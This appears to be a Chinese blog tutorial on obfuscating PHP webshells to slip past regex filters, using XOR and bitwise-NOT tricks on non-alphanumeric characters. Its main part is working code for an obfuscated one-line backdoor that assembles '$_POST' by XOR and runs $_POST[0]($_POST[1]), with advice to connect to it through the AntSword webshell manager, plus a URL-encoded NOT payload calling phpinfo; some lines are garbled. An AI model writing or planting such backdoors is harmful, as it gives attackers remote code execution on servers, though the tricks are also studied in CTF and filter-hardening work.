一、异或
当$ 和 _ 没有被限制时
1、异或的前置知识

A的ascll码为65 二进制为0100 0001
的ascll码为96 二进制为0110 0000 A和 取异或 即相同位 置0 ,不同位置 1
然后A 和 ` 得到的二进制码为 0010 0001 ,ascll码为33 ,ascll码表对应符号为!

2、进阶版异或
代码:
<?php
function B(){
echo "at the function";
}
$__="?" ^ "}";
echo "\$__值为:$__";
$__();
?>

?:0011 1111
} :0111 1101
0100 0010 -----66

所以异或的结果为B,将值赋值给了$__;


3、异或构建一句话木马
<?php
$_++; //$_=1
$__=("#" ^ "|"); // _
$__.=("." ^ "~"); //_P // .为拼接字符
$__.=("/" ^ "`"); //_PO
$__.=("|" ^ "/"); //_POS
$__.=("{" ^ "/"); //_POST
${$__}[!$_](${$__}[$_]); //$_POST[0]($_POST[1]);
?>
使用蚁剑连接这个一句话木马;


需要绕过的正则:


二、取反
代码:
<?php
$a = "phpinfo";
echo urlencode(~$a);
?>

phpinfo 取反的值为: %8F%97%8F%96%91%99%90
?code== _=~%8F%97%8F%96%91%99%90;= _();
三、自增
四、临时文件

898

被折叠的 条评论
为什么被折叠?



